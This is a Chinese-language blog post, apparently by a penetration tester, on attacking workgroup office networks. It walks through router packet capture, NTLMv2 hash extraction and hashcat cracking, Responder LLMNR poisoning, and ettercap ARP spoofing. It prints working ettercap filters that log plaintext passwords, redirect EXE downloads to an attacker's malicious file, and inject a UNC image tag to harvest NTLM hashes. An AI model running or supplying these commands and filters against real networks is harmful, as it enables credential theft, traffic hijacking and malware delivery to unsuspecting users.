工作组环境下的内网渗透:一些基础打法

请注意,本文编写于 722 天前,最后修改于 719 天前,其中某些信息可能已经过时。

前言

好几次的情况下,打下了办公机,和服务器内网不同的是,办公网中,除了极少数的用户机器会有运行一切奇奇怪怪的服务,包括但不限于EveryThink(那个搜索程序叫啥我忘了),向日葵啊,或者各种奇奇怪怪一些RMI,也只有一些开发机才会有跑些web。

但是大部分时候,大部分机器就是一个沉默术士,一看80,啊,没开,3389,啊,没开,开了啥?445,135,139没了,怎么办?这时候我们除了使用,啊,MS08-067,MS17-010,19-0708(基本都蓝),这些,如果这些都没有,估计大部分时候只能干瞪眼了。

这就是现在的,过于注重web而忽略了传统艺能。我记得早在我初中的时候,那群黑阔天天玩的就是这些,什么水滴,什么奶瓶,什么BT5什么ettercap进行劫持啥的,什么明教教主BT5学习使用。当初觉得阿这玩意阿怎么感觉没有什么卵用阿哪里有人会傻傻的给你劫持。现在不都是打web阿打数据库阿打服务什么的嘛。

现在想来还是当时的我太naive了。那时候的内网环境和现在的内网环境还是有很大差别的。

极简模式

简单方式,如果你直接日下路由器。无论用什么方法,直接监听445端口,并捕获为pcap。

tcpdump.png
tcpdump.png

监听一段时间,可以使用 NTLMRawUnHide 项目来从pcap中提取ntlmv2。直接运行:python .\NTLMRawUnHide.py -i .\b.pcap

tiqu.png
tiqu.png

然后,我们要找的就是类似于

test::DESKTOP-K6CQSK4:c42c85ec072f126d:295a6b646463dd1cdb99baa88513174b:01010000000000004308b7d1045bd8014d2895bd5d65fd940000000002001e00570049004e002d00460038004600450054004c004400540049004f004a0001001e00570049004e002d00460038004600450054004c004400540049004f004a0004001e00570049004e002d00460038004600450054004c004400540049004f004a0003001e00570049004e002d00460038004600450054004c004400540049004f004a00070008004308b7d1045bd801060004000200000008003000300000000000000001000000002000005665c49fa02134c71e7c11a593461da9cda996aebf9f9b6e9e1d74175dfb57400a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0032002e003100380030000000000000000000

这样的一段内容,提取出来,保存为txt文件,我们就可以使用hashcat爆破了。我们这里假设保存为ntlmv2.txt。

然后使用hashcat,执行hashcat.exe -m 5600 ntlmv2.txt -a 3 ?l?l?l?l?d?d?d --force

这里我使用的是掩码爆破,因为只是为了测试,实际情况请自行选择字典或者其他掩码。

hashcat.png
hashcat.png

可以看到,对于这种弱口令,基本1秒就爆破出来了正常情况下,和服务器环境不同,工作组计算机并没有密码策略要求,所以密码通常不会太复杂,基本都是 单词+生日数字,甚至纯数字为主,所以基本都挺好爆破的。当然前提还是得抓取到ntlmv2。

下次遇到什么飞塔防火墙啊,就可以靠这些去打里面的机器了.jpg

极简模式II:使用responder

直接在kali中,运行responder -I eth0 -w,responder会自动在局域网内使用LLMNR和NetBiOS等协议进行应答。

具体体现在

链路局部范围内每台支持LLMNR,并且被配置为响应传入查询的主机在收到这个查询请求后,会将被查询的名称和自己的主机名进行比较。如果没有找到匹配的主机名,那么计算机就会丢弃这个查询。如果找到了匹配的主机名,这台计算机会传输一条包含了自己IP地址的单播信息给请求该查询的主机。

而responder原理就是无论收到是啥,都应答这个LLMR响应,导致客户以为这个主机是存在的。

当我们的目标在计算机内输入了一个没有人应答的主机名,这时候我们的responder就会自动应答,让客户机以为我们是他想请求的机器,并发送凭证,这时候我们就抓到了他们的ntlmv2了。

resp.png
resp.png

然而这个方法有个非常大的局限性就是必须要目标手动输入不存在的主机名,然而一般情况下谁会乱输入主机名啊。除非在渗透过程中已经进入了内网,同时使用钓鱼的方式在目标中插入暗桩,例如文件加载资源等,或者类似于在内网打下的服务器中插入XSS,自动加载UAF路径等。但是这就不是0click了。而主动等待用户输错又是天方夜谭。所以此时我们就需要主动出击。

主动出击:ETTERCAP内网嗅探与劫持

这时候就可以掏出我们的传统异能工具,ettercap和arpspoof之类的劫持工具了。ettercap的攻击原理就不过多阐述。攻击方法基

使用ettercap能达成类似与路由器那样直接tcpdump分析内网的数据包的类似操作。但是如果可以,能打到路由器还是最好还是先打路由器。

毕竟arp劫持在现在环境下,随随便便一个杀软就能挡住并且能提醒,直接从无感攻击变成有感攻击,导致管理员发现任务失败直接GG。

所以我们的思路就是打下路由器,然后就能进行一些更高阶的操作,或者直接嗅探HTTP文件,把文件替换成我们的木马等。

直接运行sudo ettercap -i 网卡 -T -M arp:remote /目标内网机器IP// /内网网关// ,这样我们就可以看到目标机器的所有流量了

ettercap.png
ettercap.png

这时候有流量了,可以选择嗅探cookies或者是嗅探密码。这时候我们就需要用到etterfilter,用于选出我们想要的流量。

直接查看一个文档 etterfilter - linux man,直接进行一个仿写,我们也不做其他的,直接把他们包含Cookies和user


if ( tcp.src == 80 || tcp.dst == 80) { 
        if (search(DATA.data,"password")) {
                log(DATA.data, "/tmp/tmp.log");
        }
}

上面是保存http中带有password的,甚至可以把第一句tcp.src == 80也给删了,只保留我们发往远程的请求,因为一般登录的时候是我们发给用户,把上面这些保存为a.filter,然后执行etterfilter a.filter -o a.ef就会生成一个ef文件,然后使用sudo ettercap -i eth1 -T -q -F a.ef -M arp:remote /目标ip// /网关ip//,就可以开始嗅探http请求的明文流量了。

QQ截图20220430175148.png
QQ截图20220430175148.png

或者,可以进行一个下载文件的替换。直接贴一个网络上找来的脚本

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, “Accept-Encoding”)) {
        replace("Accept-Encoding", "Accept-Mousecat");
        msg("zapped Accept-Encoding!\n");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    replace("keep-alive", "close" );
    replace("Keep-Alive", "close" );
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
    msg("found EXE\n");
    if (search(DATA.data, "Win32")) {
        msg("doing nothing\n");
    } else {
        replace("200 OK", "301 Moved Permanently
        Location: http://你的恶意exe/setup.exe");
        msg("redirect success\n");
    }
}

这个代码是直接替换下载EXE地址302到我们的恶意文件地址,缺点是下载后别人看到下载地址是直接显示你的而已exe地址,高级一点的可以直接在下载原始exe过程中,直接把它的exe流数据替换成我们的恶意exe数据流。再高级一点的甚至可以直接在exe流中插入shellcode然后修改入口点。。当然这个过于复杂也没什么必要就是了。

以上两种方式虽然都挺好用,但是如果目标们就是tmd不访问路由器或者不下exe怎么办呢?

配合我们之前使用的responder,只要在http流量中插入内网的UAF地址,然后使用responder进行一个LLMNR欺骗甚至使用smbreplay,诱导用户发送他们自身的ntlmv2,不是就能达到我们想要的效果了?

直接对fileter修改

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
        replace("Accept-Encoding","Accept-AAAA");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    replace("head>", "head> <img src=\"\\\\fake_hostname\\pixel.gif\"> ");
}

然后等待发送ntlmv2即可。。然而如今的正常浏览器都会遇到Not allowed to load local resource,并不允许自动加载。。也只有某些垃圾浏览器或者远古浏览器,比如IE或者一些webview才会自动引用这些然后发送ntlmv2了。

结语

和Web服务不同,在面对工作组计算机中,除了MS17这类暴力服务洞。我们只能从主动进攻慢慢变成了一个默默的被动等待者。蛰伏在局域网下收集数据等待机会。然而随着安全技术的发展,我们主动出击的手段越来越少,ARP攻击如今只要是个杀软就能防御,默认https,允许http的站点越来越少导致攻击越来越难。甚至浏览器同源策略不允许自动加载本地文件导致ntlmv2发送不出来等等因素,这可能也是导致内网mitm越来越淡出我们视野的原因。

添加新评论

已有 2 条评论

Σ(っ °Д °;)っ内网也可以渗透的吗